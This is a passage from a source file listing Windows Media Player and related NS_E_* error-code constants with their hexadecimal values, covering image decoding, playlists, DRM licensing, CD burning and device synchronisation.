0xC00D102B\nNS_E_WMP_PNG_UNSUPPORTED_INTERLACE                           = 0xC00D102C\nNS_E_WMP_PNG_UNSUPPORTED_BAD_CRC                             = 0xC00D102D\nNS_E_WMP_BMP_INVALID_BITMASK                                 = 0xC00D102E\nNS_E_WMP_BMP_TOPDOWN_DIB_UNSUPPORTED                         = 0xC00D102F\nNS_E_WMP_BMP_BITMAP_NOT_CREATED                              = 0xC00D1030\nNS_E_WMP_BMP_COMPRESSION_UNSUPPORTED                         = 0xC00D1031\nNS_E_WMP_BMP_INVALID_FORMAT                                  = 0xC00D1032\nNS_E_WMP_JPG_JERR_ARITHCODING_NOTIMPL                        = 0xC00D1033\nNS_E_WMP_JPG_INVALID_FORMAT                                  = 0xC00D1034\nNS_E_WMP_JPG_BAD_DCTSIZE                                     = 0xC00D1035\nNS_E_WMP_JPG_BAD_VERSION_NUMBER                              = 0xC00D1036\nNS_E_WMP_JPG_BAD_PRECISION                                   = 0xC00D1037\nNS_E_WMP_JPG_CCIR601_NOTIMPL                                 = 0xC00D1038\nNS_E_WMP_JPG_NO_IMAGE_IN_FILE                                = 0xC00D1039\nNS_E_WMP_JPG_READ_ERROR                                      = 0xC00D103A\nNS_E_WMP_JPG_FRACT_SAMPLE_NOTIMPL                            = 0xC00D103B\nNS_E_WMP_JPG_IMAGE_TOO_BIG                                   = 0xC00D103C\nNS_E_WMP_JPG_UNEXPECTED_ENDOFFILE                            = 0xC00D103D\nNS_E_WMP_JPG_SOF_UNSUPPORTED                                 = 0xC00D103E\nNS_E_WMP_JPG_UNKNOWN_MARKER                                  = 0xC00D103F\nNS_E_WMP_FAILED_TO_OPEN_IMAGE                                = 0xC00D1044\nNS_E_WMP_DAI_SONGTOOSHORT                                    = 0xC00D1049\nNS_E_WMG_RATEUNAVAILABLE                                     = 0xC00D104A\nNS_E_WMG_PLUGINUNAVAILABLE                                   = 0xC00D104B\nNS_E_WMG_CANNOTQUEUE                                         = 0xC00D104C\nNS_E_WMG_PREROLLLICENSEACQUISITIONNOTALLOWED                 = 0xC00D104D\nNS_E_WMG_UNEXPECTEDPREROLLSTATUS                             = 0xC00D104E\nNS_E_WMG_INVALID_COPP_CERTIFICATE                            = 0xC00D1051\nNS_E_WMG_COPP_SECURITY_INVALID                               = 0xC00D1052\nNS_E_WMG_COPP_UNSUPPORTED                                    = 0xC00D1053\nNS_E_WMG_INVALIDSTATE                                        = 0xC00D1054\nNS_E_WMG_SINKALREADYEXISTS                                   = 0xC00D1055\nNS_E_WMG_NOSDKINTERFACE                                      = 0xC00D1056\nNS_E_WMG_NOTALLOUTPUTSRENDERED                               = 0xC00D1057\nNS_E_WMG_FILETRANSFERNOTALLOWED                              = 0xC00D1058\nNS_E_WMR_UNSUPPORTEDSTREAM                                   = 0xC00D1059\nNS_E_WMR_PINNOTFOUND                                         = 0xC00D105A\nNS_E_WMR_WAITINGONFORMATSWITCH                               = 0xC00D105B\nNS_E_WMR_NOSOURCEFILTER                                      = 0xC00D105C\nNS_E_WMR_PINTYPENOMATCH                                      = 0xC00D105D\nNS_E_WMR_NOCALLBACKAVAILABLE                                 = 0xC00D105E\nNS_E_WMR_SAMPLEPROPERTYNOTSET                                = 0xC00D1062\nNS_E_WMR_CANNOT_RENDER_BINARY_STREAM                         = 0xC00D1063\nNS_E_WMG_LICENSE_TAMPERED                                    = 0xC00D1064\nNS_E_WMR_WILLNOT_RENDER_BINARY_STREAM                        = 0xC00D1065\nNS_E_WMX_UNRECOGNIZED_PLAYLIST_FORMAT                        = 0xC00D1068\nNS_E_ASX_INVALIDFORMAT                                       = 0xC00D1069\nNS_E_ASX_INVALIDVERSION                                      = 0xC00D106A\nNS_E_ASX_INVALID_REPEAT_BLOCK                                = 0xC00D106B\nNS_E_ASX_NOTHING_TO_WRITE                                    = 0xC00D106C\nNS_E_URLLIST_INVALIDFORMAT                                   = 0xC00D106D\nNS_E_WMX_ATTRIBUTE_DOES_NOT_EXIST                            = 0xC00D106E\nNS_E_WMX_ATTRIBUTE_ALREADY_EXISTS                            = 0xC00D106F\nNS_E_WMX_ATTRIBUTE_UNRETRIEVABLE                             = 0xC00D1070\nNS_E_WMX_ITEM_DOES_NOT_EXIST                                 = 0xC00D1071\nNS_E_WMX_ITEM_TYPE_ILLEGAL                                   = 0xC00D1072\nNS_E_WMX_ITEM_UNSETTABLE                                     = 0xC00D1073\nNS_E_WMX_PLAYLIST_EMPTY                                      = 0xC00D1074\nNS_E_MLS_SMARTPLAYLIST_FILTER_NOT_REGISTERED                 = 0xC00D1075\nNS_E_WMX_INVALID_FORMAT_OVER_NESTING                         = 0xC00D1076\nNS_E_WMPCORE_NOSOURCEURLSTRING                               = 0xC00D107C\nNS_E_WMPCORE_COCREATEFAILEDFORGITOBJECT                      = 0xC00D107D\nNS_E_WMPCORE_FAILEDTOGETMARSHALLEDEVENTHANDLERINTERFACE      = 0xC00D107E\nNS_E_WMPCORE_BUFFERTOOSMALL                                  = 0xC00D107F\nNS_E_WMPCORE_UNAVAILABLE                                     = 0xC00D1080\nNS_E_WMPCORE_INVALIDPLAYLISTMODE                             = 0xC00D1081\nNS_E_WMPCORE_ITEMNOTINPLAYLIST                               = 0xC00D1086\nNS_E_WMPCORE_PLAYLISTEMPTY                                   = 0xC00D1087\nNS_E_WMPCORE_NOBROWSER                                       = 0xC00D1088\nNS_E_WMPCORE_UNRECOGNIZED_MEDIA_URL                          = 0xC00D1089\nNS_E_WMPCORE_GRAPH_NOT_IN_LIST                               = 0xC00D108A\nNS_E_WMPCORE_PLAYLIST_EMPTY_OR_SINGLE_MEDIA                  = 0xC00D108B\nNS_E_WMPCORE_ERRORSINKNOTREGISTERED                          = 0xC00D108C\nNS_E_WMPCORE_ERRORMANAGERNOTAVAILABLE                        = 0xC00D108D\nNS_E_WMPCORE_WEBHELPFAILED                                   = 0xC00D108E\nNS_E_WMPCORE_MEDIA_ERROR_RESUME_FAILED                       = 0xC00D108F\nNS_E_WMPCORE_NO_REF_IN_ENTRY                                 = 0xC00D1090\nNS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_EMPTY                   = 0xC00D1091\nNS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_ILLEGAL                 = 0xC00D1092\nNS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_EMPTY                  = 0xC00D1093\nNS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_ILLEGAL                = 0xC00D1094\nNS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_EMPTY              = 0xC00D1095\nNS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_ILLEGAL            = 0xC00D1096\nNS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_VALUE_EMPTY             = 0xC00D1097\nNS_E_WMPCORE_LIST_ENTRY_NO_REF                               = 0xC00D1098\nNS_E_WMPCORE_MISNAMED_FILE                                   = 0xC00D1099\nNS_E_WMPCORE_CODEC_NOT_TRUSTED                               = 0xC00D109A\nNS_E_WMPCORE_CODEC_NOT_FOUND                                 = 0xC00D109B\nNS_E_WMPCORE_CODEC_DOWNLOAD_NOT_ALLOWED                      = 0xC00D109C\nNS_E_WMPCORE_ERROR_DOWNLOADING_PLAYLIST                      = 0xC00D109D\nNS_E_WMPCORE_FAILED_TO_BUILD_PLAYLIST                        = 0xC00D109E\nNS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NONE                    = 0xC00D109F\nNS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_EXHAUSTED               = 0xC00D10A0\nNS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NAME_NOT_FOUND          = 0xC00D10A1\nNS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_MORPH_FAILED            = 0xC00D10A2\nNS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_INIT_FAILED             = 0xC00D10A3\nNS_E_WMPCORE_MEDIA_ALTERNATE_REF_EMPTY                       = 0xC00D10A4\nNS_E_WMPCORE_PLAYLIST_NO_EVENT_NAME                          = 0xC00D10A5\nNS_E_WMPCORE_PLAYLIST_EVENT_ATTRIBUTE_ABSENT                 = 0xC00D10A6\nNS_E_WMPCORE_PLAYLIST_EVENT_EMPTY                            = 0xC00D10A7\nNS_E_WMPCORE_PLAYLIST_STACK_EMPTY                            = 0xC00D10A8\nNS_E_WMPCORE_CURRENT_MEDIA_NOT_ACTIVE                        = 0xC00D10A9\nNS_E_WMPCORE_USER_CANCEL                                     = 0xC00D10AB\nNS_E_WMPCORE_PLAYLIST_REPEAT_EMPTY                           = 0xC00D10AC\nNS_E_WMPCORE_PLAYLIST_REPEAT_START_MEDIA_NONE                = 0xC00D10AD\nNS_E_WMPCORE_PLAYLIST_REPEAT_END_MEDIA_NONE                  = 0xC00D10AE\nNS_E_WMPCORE_INVALID_PLAYLIST_URL                            = 0xC00D10AF\nNS_E_WMPCORE_MISMATCHED_RUNTIME                              = 0xC00D10B0\nNS_E_WMPCORE_PLAYLIST_IMPORT_FAILED_NO_ITEMS                 = 0xC00D10B1\nNS_E_WMPCORE_VIDEO_TRANSFORM_FILTER_INSERTION                = 0xC00D10B2\nNS_E_WMPCORE_MEDIA_UNAVAILABLE                               = 0xC00D10B3\nNS_E_WMPCORE_WMX_ENTRYREF_NO_REF                             = 0xC00D10B4\nNS_E_WMPCORE_NO_PLAYABLE_MEDIA_IN_PLAYLIST                   = 0xC00D10B5\nNS_E_WMPCORE_PLAYLIST_EMPTY_NESTED_PLAYLIST_SKIPPED_ITEMS    = 0xC00D10B6\nNS_E_WMPCORE_BUSY                                            = 0xC00D10B7\nNS_E_WMPCORE_MEDIA_CHILD_PLAYLIST_UNAVAILABLE                = 0xC00D10B8\nNS_E_WMPCORE_MEDIA_NO_CHILD_PLAYLIST                         = 0xC00D10B9\nNS_E_WMPCORE_FILE_NOT_FOUND                                  = 0xC00D10BA\nNS_E_WMPCORE_TEMP_FILE_NOT_FOUND                             = 0xC00D10BB\nNS_E_WMDM_REVOKED                                            = 0xC00D10BC\nNS_E_DDRAW_GENERIC                                           = 0xC00D10BD\nNS_E_DISPLAY_MODE_CHANGE_FAILED                              = 0xC00D10BE\nNS_E_PLAYLIST_CONTAINS_ERRORS                                = 0xC00D10BF\nNS_E_CHANGING_PROXY_NAME                                     = 0xC00D10C0\nNS_E_CHANGING_PROXY_PORT                                     = 0xC00D10C1\nNS_E_CHANGING_PROXY_EXCEPTIONLIST                            = 0xC00D10C2\nNS_E_CHANGING_PROXYBYPASS                                    = 0xC00D10C3\nNS_E_CHANGING_PROXY_PROTOCOL_NOT_FOUND                       = 0xC00D10C4\nNS_E_GRAPH_NOAUDIOLANGUAGE                                   = 0xC00D10C5\nNS_E_GRAPH_NOAUDIOLANGUAGESELECTED                           = 0xC00D10C6\nNS_E_CORECD_NOTAMEDIACD                                      = 0xC00D10C7\nNS_E_WMPCORE_MEDIA_URL_TOO_LONG                              = 0xC00D10C8\nNS_E_WMPFLASH_CANT_FIND_COM_SERVER                           = 0xC00D10C9\nNS_E_WMPFLASH_INCOMPATIBLEVERSION                            = 0xC00D10CA\nNS_E_WMPOCXGRAPH_IE_DISALLOWS_ACTIVEX_CONTROLS               = 0xC00D10CB\nNS_E_NEED_CORE_REFERENCE                                     = 0xC00D10CC\nNS_E_MEDIACD_READ_ERROR                                      = 0xC00D10CD\nNS_E_IE_DISALLOWS_ACTIVEX_CONTROLS                           = 0xC00D10CE\nNS_E_FLASH_PLAYBACK_NOT_ALLOWED                              = 0xC00D10CF\nNS_E_UNABLE_TO_CREATE_RIP_LOCATION                           = 0xC00D10D0\nNS_E_WMPCORE_SOME_CODECS_MISSING                             = 0xC00D10D1\nNS_E_WMP_RIP_FAILED                                          = 0xC00D10D2\nNS_E_WMP_FAILED_TO_RIP_TRACK                                 = 0xC00D10D3\nNS_E_WMP_ERASE_FAILED                                        = 0xC00D10D4\nNS_E_WMP_FORMAT_FAILED                                       = 0xC00D10D5\nNS_E_WMP_CANNOT_BURN_NON_LOCAL_FILE                          = 0xC00D10D6\nNS_E_WMP_FILE_TYPE_CANNOT_BURN_TO_AUDIO_CD                   = 0xC00D10D7\nNS_E_WMP_FILE_DOES_NOT_FIT_ON_CD                             = 0xC00D10D8\nNS_E_WMP_FILE_NO_DURATION                                    = 0xC00D10D9\nNS_E_PDA_FAILED_TO_BURN                                      = 0xC00D10DA\nNS_E_FAILED_DOWNLOAD_ABORT_BURN                              = 0xC00D10DC\nNS_E_WMPCORE_DEVICE_DRIVERS_MISSING                          = 0xC00D10DD\nNS_E_WMPIM_USEROFFLINE                                       = 0xC00D1126\nNS_E_WMPIM_USERCANCELED                                      = 0xC00D1127\nNS_E_WMPIM_DIALUPFAILED                                      = 0xC00D1128\nNS_E_WINSOCK_ERROR_STRING                                    = 0xC00D1129\nNS_E_WMPBR_NOLISTENER                                        = 0xC00D1130\nNS_E_WMPBR_BACKUPCANCEL                                      = 0xC00D1131\nNS_E_WMPBR_RESTORECANCEL                                     = 0xC00D1132\nNS_E_WMPBR_ERRORWITHURL                                      = 0xC00D1133\nNS_E_WMPBR_NAMECOLLISION                                     = 0xC00D1134\nNS_E_WMPBR_DRIVE_INVALID                                     = 0xC00D1137\nNS_E_WMPBR_BACKUPRESTOREFAILED                               = 0xC00D1138\nNS_E_WMP_CONVERT_FILE_FAILED                                 = 0xC00D1158\nNS_E_WMP_CONVERT_NO_RIGHTS_ERRORURL                          = 0xC00D1159\nNS_E_WMP_CONVERT_NO_RIGHTS_NOERRORURL                        = 0xC00D115A\nNS_E_WMP_CONVERT_FILE_CORRUPT                                = 0xC00D115B\nNS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_ERRORURL                 = 0xC00D115C\nNS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_NOERRORURL               = 0xC00D115D\nNS_E_WMP_CONVERT_PLUGIN_UNKNOWN_FILE_OWNER                   = 0xC00D115E\nNS_E_DVD_DISC_COPY_PROTECT_OUTPUT_NS                         = 0xC00D1160\nNS_E_DVD_DISC_COPY_PROTECT_OUTPUT_FAILED                     = 0xC00D1161\nNS_E_DVD_NO_SUBPICTURE_STREAM                                = 0xC00D1162\nNS_E_DVD_COPY_PROTECT                                        = 0xC00D1163\nNS_E_DVD_AUTHORING_PROBLEM                                   = 0xC00D1164\nNS_E_DVD_INVALID_DISC_REGION                                 = 0xC00D1165\nNS_E_DVD_COMPATIBLE_VIDEO_CARD                               = 0xC00D1166\nNS_E_DVD_MACROVISION                                         = 0xC00D1167\nNS_E_DVD_SYSTEM_DECODER_REGION                               = 0xC00D1168\nNS_E_DVD_DISC_DECODER_REGION                                 = 0xC00D1169\nNS_E_DVD_NO_VIDEO_STREAM                                     = 0xC00D116A\nNS_E_DVD_NO_AUDIO_STREAM                                     = 0xC00D116B\nNS_E_DVD_GRAPH_BUILDING                                      = 0xC00D116C\nNS_E_DVD_NO_DECODER                                          = 0xC00D116D\nNS_E_DVD_PARENTAL                                            = 0xC00D116E\nNS_E_DVD_CANNOT_JUMP                                         = 0xC00D116F\nNS_E_DVD_DEVICE_CONTENTION                                   = 0xC00D1170\nNS_E_DVD_NO_VIDEO_MEMORY                                     = 0xC00D1171\nNS_E_DVD_CANNOT_COPY_PROTECTED                               = 0xC00D1172\nNS_E_DVD_REQUIRED_PROPERTY_NOT_SET                           = 0xC00D1173\nNS_E_DVD_INVALID_TITLE_CHAPTER                               = 0xC00D1174\nNS_E_NO_CD_BURNER                                            = 0xC00D1176\nNS_E_DEVICE_IS_NOT_READY                                     = 0xC00D1177\nNS_E_PDA_UNSUPPORTED_FORMAT                                  = 0xC00D1178\nNS_E_NO_PDA                                                  = 0xC00D1179\nNS_E_PDA_UNSPECIFIED_ERROR                                   = 0xC00D117A\nNS_E_MEMSTORAGE_BAD_DATA                                     = 0xC00D117B\nNS_E_PDA_FAIL_SELECT_DEVICE                                  = 0xC00D117C\nNS_E_PDA_FAIL_READ_WAVE_FILE                                 = 0xC00D117D\nNS_E_IMAPI_LOSSOFSTREAMING                                   = 0xC00D117E\nNS_E_PDA_DEVICE_FULL                                         = 0xC00D117F\nNS_E_FAIL_LAUNCH_ROXIO_PLUGIN                                = 0xC00D1180\nNS_E_PDA_DEVICE_FULL_IN_SESSION                              = 0xC00D1181\nNS_E_IMAPI_MEDIUM_INVALIDTYPE                                = 0xC00D1182\nNS_E_PDA_MANUALDEVICE                                        = 0xC00D1183\nNS_E_PDA_PARTNERSHIPNOTEXIST                                 = 0xC00D1184\nNS_E_PDA_CANNOT_CREATE_ADDITIONAL_SYNC_RELATIONSHIP          = 0xC00D1185\nNS_E_PDA_NO_TRANSCODE_OF_DRM                                 = 0xC00D1186\nNS_E_PDA_TRANSCODECACHEFULL                                  = 0xC00D1187\nNS_E_PDA_TOO_MANY_FILE_COLLISIONS                            = 0xC00D1188\nNS_E_PDA_CANNOT_TRANSCODE                                    = 0xC00D1189\nNS_E_PDA_TOO_MANY_FILES_IN_DIRECTORY                         = 0xC00D118A\nNS_E_PROCESSINGSHOWSYNCWIZARD                                = 0xC00D118B\nNS_E_PDA_TRANSCODE_NOT_PERMITTED                             = 0xC00D118C\nNS_E_PDA_INITIALIZINGDEVICES                                 = 0xC00D118D\nNS_E_PDA_OBSOLETE_SP                                         = 0xC00D118E\nNS_E_PDA_TITLE_COLLISION                                     = 0xC00D118F\nNS_E_PDA_DEVICESUPPORTDISABLED                               = 0xC00D1190\nNS_E_PDA_NO_LONGER_AVAILABLE                                 = 0xC00D1191\nNS_E_PDA_ENCODER_NOT_RESPONDING                              = 0xC00D1192\nNS_E_PDA_CANNOT_SYNC_FROM_LOCATION                           = 0xC00D1193\nNS_E_WMP_PROTOCOL_PROBLEM                                    = 0xC00D1194\nNS_E_WMP_NO_DISK_SPACE                                       = 0xC00D1195\nNS_E_WMP_LOGON_FAILURE                                       = 0xC00D1196\nNS_E_WMP_CANNOT_FIND_FILE                                    = 0xC00D1197\nNS_E_WMP_SERVER_INACCESSIBLE                                 = 0xC00D1198\nNS_E_WMP_UNSUPPORTED_FORMAT                                  = 0xC00D1199\nNS_E_WMP_DSHOW_UNSUPPORTED_FORMAT                            = 0xC00D119A\nNS_E_WMP_PLAYLIST_EXISTS                                     = 0xC00D119B\nNS_E_WMP_NONMEDIA_FILES                                      = 0xC00D119C\nNS_E_WMP_INVALID_ASX                                         = 0xC00D119D\nNS_E_WMP_ALREADY_IN_USE                                      = 0xC00D119E\nNS_E_WMP_IMAPI_FAILURE                                       = 0xC00D119F\nNS_E_WMP_WMDM_FAILURE                                        = 0xC00D11A0\nNS_E_WMP_CODEC_NEEDED_WITH_4CC                               = 0xC00D11A1\nNS_E_WMP_CODEC_NEEDED_WITH_FORMATTAG                         = 0xC00D11A2\nNS_E_WMP_MSSAP_NOT_AVAILABLE                                 = 0xC00D11A3\nNS_E_WMP_WMDM_INTERFACEDEAD                                  = 0xC00D11A4\nNS_E_WMP_WMDM_NOTCERTIFIED                                   = 0xC00D11A5\nNS_E_WMP_WMDM_LICENSE_NOTEXIST                               = 0xC00D11A6\nNS_E_WMP_WMDM_LICENSE_EXPIRED                                = 0xC00D11A7\nNS_E_WMP_WMDM_BUSY                                           = 0xC00D11A8\nNS_E_WMP_WMDM_NORIGHTS                                       = 0xC00D11A9\nNS_E_WMP_WMDM_INCORRECT_RIGHTS                               = 0xC00D11AA\nNS_E_WMP_IMAPI_GENERIC                                       = 0xC00D11AB\nNS_E_WMP_IMAPI_DEVICE_NOTPRESENT                             = 0xC00D11AD\nNS_E_WMP_IMAPI_DEVICE_BUSY                                   = 0xC00D11AE\nNS_E_WMP_IMAPI_LOSS_OF_STREAMING                             = 0xC00D11AF\nNS_E_WMP_SERVER_UNAVAILABLE                                  = 0xC00D11B0\nNS_E_WMP_FILE_OPEN_FAILED                                    = 0xC00D11B1\nNS_E_WMP_VERIFY_ONLINE                                       = 0xC00D11B2\nNS_E_WMP_SERVER_NOT_RESPONDING                               = 0xC00D11B3\nNS_E_WMP_DRM_CORRUPT_BACKUP                                  = 0xC00D11B4\nNS_E_WMP_DRM_LICENSE_SERVER_UNAVAILABLE                      = 0xC00D11B5\nNS_E_WMP_NETWORK_FIREWALL                                    = 0xC00D11B6\nNS_E_WMP_NO_REMOVABLE_MEDIA                                  = 0xC00D11B7\nNS_E_WMP_PROXY_CONNECT_TIMEOUT                               = 0xC00D11B8\nNS_E_WMP_NEED_UPGRADE                                        = 0xC00D11B9\nNS_E_WMP_AUDIO_HW_PROBLEM                                    = 0xC00D11BA\nNS_E_WMP_INVALID_PROTOCOL                                    = 0xC00D11BB\nNS_E_WMP_INVALID_LIBRARY_ADD                                 = 0xC00D11BC\nNS_E_WMP_MMS_NOT_SUPPORTED                                   = 0xC00D11BD\nNS_E_WMP_NO_PROTOCOLS_SELECTED                               = 0xC00D11BE\nNS_E_WMP_GOFULLSCREEN_FAILED                                 = 0xC00D11BF\nNS_E_WMP_NETWORK_ERROR                                       = 0xC00D11C0\nNS_E_WMP_CONNECT_TIMEOUT                                     = 0xC00D11C1\nNS_E_WMP_MULTICAST_DISABLED                                  = 0xC00D11C2\nNS_E_WMP_SERVER_DNS_TIMEOUT                                  = 0xC00D11C3\nNS_E_WMP_PROXY_NOT_FOUND                                     = 0xC00D11C4\nNS_E_WMP_TAMPERED_CONTENT                                    = 0xC00D11C5\nNS_E_WMP_OUTOFMEMORY                                         = 0xC00D11C6\nNS_E_WMP_AUDIO_CODEC_NOT_INSTALLED                           = 0xC00D11C7\nNS_E_WMP_VIDEO_CODEC_NOT_INSTALLED                           = 0xC00D11C8\nNS_E_WMP_IMAPI_DEVICE_INVALIDTYPE                            = 0xC00D11C9\nNS_E_WMP_DRM_DRIVER_AUTH_FAILURE                             = 0xC00D11CA\nNS_E_WMP_NETWORK_RESOURCE_FAILURE                            = 0xC00D11CB\nNS_E_WMP_UPGRADE_APPLICATION                                 = 0xC00D11CC\nNS_E_WMP_UNKNOWN_ERROR                                       = 0xC00D11CD\nNS_E_WMP_INVALID_KEY                                         = 0xC00D11CE\nNS_E_WMP_CD_ANOTHER_USER                                     = 0xC00D11CF\nNS_E_WMP_DRM_NEEDS_AUTHORIZATION                             = 0xC00D11D0\nNS_E_WMP_BAD_DRIVER                                          = 0xC00D11D1\nNS_E_WMP_ACCESS_DENIED                                       = 0xC00D11D2\nNS_E_WMP_LICENSE_RESTRICTS                                   = 0xC00D11D3\nNS_E_WMP_INVALID_REQUEST                                     = 0xC00D11D4\nNS_E_WMP_CD_STASH_NO_SPACE                                   = 0xC00D11D5\nNS_E_WMP_DRM_NEW_HARDWARE                                    = 0xC00D11D6\nNS_E_WMP_DRM_INVALID_SIG                                     = 0xC00D11D7\nNS_E_WMP_DRM_CANNOT_RESTORE                                  = 0xC00D11D8\nNS_E_WMP_BURN_DISC_OVERFLOW                                  = 0xC00D11D9\nNS_E_WMP_DRM_GENERIC_LICENSE_FAILURE                         = 0xC00D11DA\nNS_E_WMP_DRM_NO_SECURE_CLOCK                                 = 0xC00D11DB\nNS_E_WMP_DRM_NO_RIGHTS                                       = 0xC00D11DC\nNS_E_WMP_DRM_INDIV_FAILED                                    = 0xC00D11DD\nNS_E_WMP_SERVER_NONEWCONNECTIONS                             = 0xC00D11DE\nNS_E_WMP_MULTIPLE_ERROR_IN_PLAYLIST                          = 0xC00D11DF\nNS_E_WMP_IMAPI2_ERASE_FAIL                                   = 0xC00D11E0\nNS_E_WMP_IMAPI2_ERASE_DEVICE_BUSY                            = 0xC00D11E1\nNS_E_WMP_DRM_COMPONENT_FAILURE                               = 0xC00D11E2\nNS_E_WMP_DRM_NO_DEVICE_CERT                                  = 0xC00D11E3\nNS_E_WMP_SERVER_SECURITY_ERROR                               = 0xC00D11E4\nNS_E_WMP_AUDIO_DEVICE_LOST                                   = 0xC00D11E5\nNS_E_WMP_IMAPI_MEDIA_INCOMPATIBLE                            = 0xC00D11E6\nNS_E_SYNCWIZ_DEVICE_FULL                                     = 0xC00D11EE\nNS_E_SYNCWIZ_CANNOT_CHANGE_SETTINGS                          = 0xC00D11EF\nNS_E_TRANSCODE_DELETECACHEERROR                              = 0xC00D11F0\nNS_E_CD_NO_BUFFERS_READ                                      = 0xC00D11F8\nNS_E_CD_EMPTY_TRACK_QUEUE                                    = 0xC00D11F9\nNS_E_CD_NO_READER                                            = 0xC00D11FA\nNS_E_CD_ISRC_INVALID                                         = 0xC00D11FB\nNS_E_CD_MEDIA_CATALOG_NUMBER_INVALID                         = 0xC00D11FC\nNS_E_SLOW_READ_DIGITAL_WITH_ERRORCORRECTION                  = 0xC00D11FD\nNS_E_CD_SPEEDDETECT_NOT_ENOUGH_READS                         = 0xC00D11FE\nNS_E_CD_QUEUEING_DISABLED                                    = 0xC00D11FF\nNS_E_WMP_DRM_ACQUIRING_LICENSE                               = 0xC00D1202\nNS_E_WMP_DRM_LICENSE_EXPIRED                                 = 0xC00D1203\nNS_E_WMP_DRM_LICENSE_NOTACQUIRED                             = 0xC00D1204\nNS_E_WMP_DRM_LICENSE_NOTENABLED                              = 0xC00D1205\nNS_E_WMP_DRM_LICENSE_UNUSABLE                                = 0xC00D1206\nNS_E_WMP_DRM_LICENSE_CONTENT_REVOKED                         = 0xC00D1207\nNS_E_WMP_DRM_LICENSE_NOSAP                                   = 0xC00D1208\nNS_E_WMP_DRM_UNABLE_TO_ACQUIRE_LICENSE                       = 0xC00D1209\nNS_E_WMP_LICENSE_REQUIRED                                    = 0xC00D120A\nNS_E_WMP_PROTECTED_CONTENT                                   = 0xC00D120B\nNS_E_WMP_POLICY_VALUE_NOT_CONFIGURED                         = 0xC00D122A\nNS_E_PDA_CANNOT_SYNC_FROM_INTERNET                           = 0xC00D1234\nNS_E_PDA_CANNOT_SYNC_INVALID_PLAYLIST                        = 0xC00D1235\nNS_E_PDA_FAILED_TO_SYNCHRONIZE_FILE                          = 0xC00D1236\nNS_E_PDA_SYNC_FAILED                                         = 0xC00D1237\nNS_E_PDA_DELETE_FAILED                                       = 0xC00D1238\nNS_E_PDA_FAILED_TO_RETRIEVE_FILE                             = 0xC00D1239\nNS_E_PDA_DEVICE_NOT_RESPONDING                               = 0xC00D123A\nNS_E_PDA_FAILED_TO_TRANSCODE_PHOTO                           = 0xC00D123B\nNS_E_PDA_FAILED_TO_ENCRYPT_TRANSCODED_FILE                   = 0xC00D123C\nNS_E_PDA_CANNOT_TRANSCODE_TO_AUDIO                           = 0xC00D123D\nNS_E_PDA_CANNOT_TRANSCODE_TO_VIDEO                           = 0xC00D123E\nNS_E_PDA_CANNOT_TRANSCODE_TO_IMAGE                           = 0xC00D123F\nNS_E_PDA_RETRIEVED_FILE_FILENAME_TOO_LONG                    = 0xC00D1240\nNS_E_PDA_CEWMDM_DRM_ERROR                                    = 0xC00D1241\nNS_E_INCOMPLETE_PLAYLIST                                     = 0xC00D1242\nNS_E_PDA_SYNC_RUNNING                                        = 0xC00D1243\nNS_E_PDA_SYNC_LOGIN_ERROR                                    = 0xC00D1244\nNS_E_PDA_TRANSCODE_CODEC_NOT_FOUND                           = 0xC00D1245\nNS_E_CANNOT_SYNC_DRM_TO_NON_JANUS_DEVICE                     = 0xC00D1246\nNS_E_CANNOT_SYNC_PREVIOUS_SYNC_RUNNING                       = 0xC00D1247\nNS_E_WMP_HWND_NOTFOUND                                       = 0xC00D125C\nNS_E_BKGDOWNLOAD_WRONG_NO_FILES                              = 0xC00D125D\nNS_E_BKGDOWNLOAD_COMPLETECANCELLEDJOB                        = 0xC00D125E\nNS_E_BKGDOWNLOAD_CANCELCOMPLETEDJOB                          = 0xC00D125F\nNS_E_BKGDOWNLOAD_NOJOBPOINTER                                = 0xC00D1260\nNS_E_BKGDOWNLOAD_INVALIDJOBSIGNATURE                         = 0xC00D1261\nNS_E_BKGDOWNLOAD_FAILED_TO_CREATE_TEMPFILE                   = 0xC00D1262\nNS_E_BKGDOWNLOAD_PLUGIN_FAILEDINITIALIZE                     = 0xC00D1263\nNS_E_BKGDOWNLOAD_PLUGIN_FAILEDTOMOVEFILE                     = 0xC00D1264\nNS_E_BKGDOWNLOAD_CALLFUNCFAILED                              = 0xC00D1265\nNS_E_BKGDOWNLOAD_CALLFUNCTIMEOUT                             = 0xC00D1266\nNS_E_BKGDOWNLOAD_CALLFUNCENDED                               = 0xC00D1267\nNS_E_BKGDOWNLOAD_WMDUNPACKFAILED                             = 0xC00D1268\nNS_E_BKGDOWNLOAD_FAILEDINITIALIZE                            = 0xC00D1269\nNS_E_INTERFACE_NOT_REGISTERED_IN_GIT                         = 0xC00D126A\nNS_E_BKGDOWNLOAD_INVALID_FILE_NAME                           = 0xC00D126B\nNS_E_IMAGE_DOWNLOAD_FAILED                                   = 0xC00D128E\nNS_E_WMP_UDRM_NOUSERLIST                                     = 0xC00D12C0\nNS_E_WMP_DRM_NOT_ACQUIRING                                   = 0xC00D12C1\nNS_E_WMP_BSTR_TOO_LONG                                       = 0xC00D12F2\nNS_E_WMP_AUTOPLAY_INVALID_STATE                              = 0xC00D12FC\nNS_E_WMP_COMPONENT_REVOKED                                   = 0xC00D1306\nNS_E_CURL_NOTSAFE                                            = 0xC00D1324\nNS_E_CURL_INVALIDCHAR                                        = 0xC00D1325\nNS_E_CURL_INVALIDHOSTNAME                                    = 0xC00D1326\nNS_E_CURL_INVALIDPATH                                        = 0xC00D1327\nNS_E_CURL_INVALIDSCHEME                                      = 0xC00D1328\nNS_E_CURL_INVALIDURL                                         = 0xC00D1329\nNS_E_CURL_CANTWALK                                           = 0xC00D132B\nNS_E_CURL_INVALIDPORT                                        = 0xC00D132C\nNS_E_CURLHELPER_NOTADIRECTORY                                = 0xC00D132D\nNS_E_CURLHELPER_NOTAFILE                                    